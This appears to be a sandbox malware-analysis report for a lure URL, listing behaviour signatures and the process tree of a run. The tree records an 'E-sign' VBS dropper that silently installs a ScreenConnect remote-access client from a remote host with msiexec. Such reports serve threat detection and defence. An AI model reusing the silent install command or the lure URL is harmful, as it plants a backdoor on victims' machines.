Overview

overview

10

Static

static

1

URLScan

urlscan

10

http://alarms.dubait...

windows10-2004-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    855s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/06/2026, 22:57

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    http://alarms.dubaitopmodel.com/ftx
  • Sample260619-2xgresbz8l
Score
8/10
adwarebackdoordiscoverypersistenceprivilege_escalationransomwareratrevoked_codesignspyware

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 1 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 44 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 49 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 50 IoCs
  • Drops file in Program Files directory 35 IoCs
  • Drops file in Windows directory 39 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 63 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 15 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: AddClipboardFormatListener 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 56 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 54 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://alarms.dubaitopmodel.com/ftx
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3464
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x264,0x7fff6b8ec188,0x7fff6b8ec194,0x7fff6b8ec1a0
      2⤵
        PID:3520
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2000,i,10958297693517868212,7892211433543910803,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:3
        2⤵
        • System Time Discovery
        PID:4040
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1724,i,11935097371552689836,17995288807964917502,262144 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
        2⤵
          PID:4000
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2616,i,1553928389667848517,3719265454084971496,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=2620 /prefetch:8
          2⤵
            PID:3620
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3492,i,10805884400295620296,9696807216081899551,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:1
            2⤵
              PID:1196
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,14716130885168065604,11373614644561464297,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
              2⤵
                PID:3368
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4260,i,5708093202710447972,17643206079613011736,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:2
                2⤵
                  PID:1260
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4248,i,12934861805188330456,4149587449000759730,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:1
                  2⤵
                    PID:224
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4996,i,9419789660672232133,8947071774016205122,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:1
                    2⤵
                      PID:4004
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3548,i,12063871411225911080,8244875518917212953,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:8
                      2⤵
                        PID:3716
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,18069329384264387202,8648030448972740577,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:8
                        2⤵
                          PID:2116
                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,8422534947558352664,13483726506171172756,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:8
                          2⤵
                            PID:4548
                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,8422534947558352664,13483726506171172756,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:8
                            2⤵
                              PID:4220
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6236,i,17243044166261541273,5294446971975034624,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=6328 /prefetch:1
                              2⤵
                                PID:1152
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5128,i,18241748480950421411,5229562374897675730,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:1
                                2⤵
                                  PID:2440
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3612,i,10596280622667147498,2176082867555649953,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:8
                                  2⤵
                                    PID:1272
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,4920200508175794659,12180789460514922700,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:8
                                    2⤵
                                      PID:4752
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4436,i,12976002361942471234,3031897448824219196,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:8
                                      2⤵
                                        PID:4320
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4316,i,3870078265367957822,8400332899408430899,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:8
                                        2⤵
                                          PID:4012
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,2525490708549916373,3970771132091955086,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:8
                                          2⤵
                                            PID:3468
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,4998031840307671343,8230210196984949234,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=1232 /prefetch:8
                                            2⤵
                                              PID:4136
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3796,i,8131225122227606360,9549020633880342064,262144 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:8
                                              2⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2340
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=6356,i,6271049915778971290,14063702332815877862,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:1
                                              2⤵
                                                PID:4204
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=6256,i,3181329686544603756,8394149133738620561,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
                                                2⤵
                                                  PID:3192
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,2708046864792587657,5499877051905205414,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:8
                                                  2⤵
                                                    PID:1740
                                                  • C:\Windows\System32\msiexec.exe
                                                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.msi"
                                                    2⤵
                                                    • Enumerates connected drives
                                                    PID:3996
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5608,i,6463778208463488510,8295404050249376987,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5772 /prefetch:8
                                                    2⤵
                                                      PID:3884
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,1758638368773823383,11690522781413723723,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:8
                                                      2⤵
                                                        PID:4208
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,62320213986679952,2999050220345305150,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:8
                                                        2⤵
                                                          PID:1784
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3596,i,14610893508973461143,18123163609140581166,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=4020 /prefetch:8
                                                          2⤵
                                                            PID:3832
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,7531459306131212649,14397895000025120968,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:8
                                                            2⤵
                                                              PID:2096
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2680,i,15130599882780517202,4688939028428586974,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=1532 /prefetch:8
                                                              2⤵
                                                                PID:6256
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=5956,i,185669608703611738,8768374654538883930,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=1316 /prefetch:1
                                                                2⤵
                                                                  PID:7064
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=3044,i,3340321681509891349,13573429850788823149,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=7028 /prefetch:1
                                                                  2⤵
                                                                    PID:3172
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7264,i,13667183613474626478,10516269444768871808,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=7272 /prefetch:8
                                                                    2⤵
                                                                      PID:6668
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7264,i,13667183613474626478,10516269444768871808,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=7272 /prefetch:8
                                                                      2⤵
                                                                        PID:6060
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3668,i,9876072576669698714,6707344840900676639,524288 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:8
                                                                        2⤵
                                                                          PID:5672
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=6480,i,16247725113958471447,15904460597995419564,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=7100 /prefetch:1
                                                                          2⤵
                                                                            PID:5572
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=7412,i,13988348908383892243,10629239525503600502,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=7384 /prefetch:1
                                                                            2⤵
                                                                              PID:5636
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=7716,i,16943235331352000575,16558371643474561123,2097152 --field-trial-handle=2344,i,1793588650514401754,17684629819476197280,262144 --variations-seed-version --mojo-platform-channel-handle=7720 /prefetch:1
                                                                              2⤵
                                                                                PID:5900
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                              1⤵
                                                                                PID:2872
                                                                              • C:\Windows\System32\rundll32.exe
                                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                1⤵
                                                                                  PID:2632
                                                                                • C:\Windows\System32\WScript.exe
                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\E-sign-B4WQ9H\E-sign-B4WQ9H.vbs"
                                                                                  1⤵
                                                                                  • Checks computer location settings
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:4304
                                                                                  • C:\Windows\System32\msiexec.exe
                                                                                    "C:\Windows\System32\msiexec.exe" /i https://hiremore.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=Gas%20company&c=&c=&c=&c=&c=&c=&c= /quiet /norestart
                                                                                    2⤵
                                                                                    • Use of msiexec (install) with remote resource
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:3688
                                                                                • C:\Windows\system32\msiexec.exe
                                                                                  C:\Windows\system32\msiexec.exe /V
                                                                                  1⤵
                                                                                  • Badlisted process makes network request
                                                                                  • Enumerates connected drives
                                                                                  • Boot or Logon Autostart Execution: Authentication Package
                                                                                  • Drops file in Program Files directory
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Modifies registry class
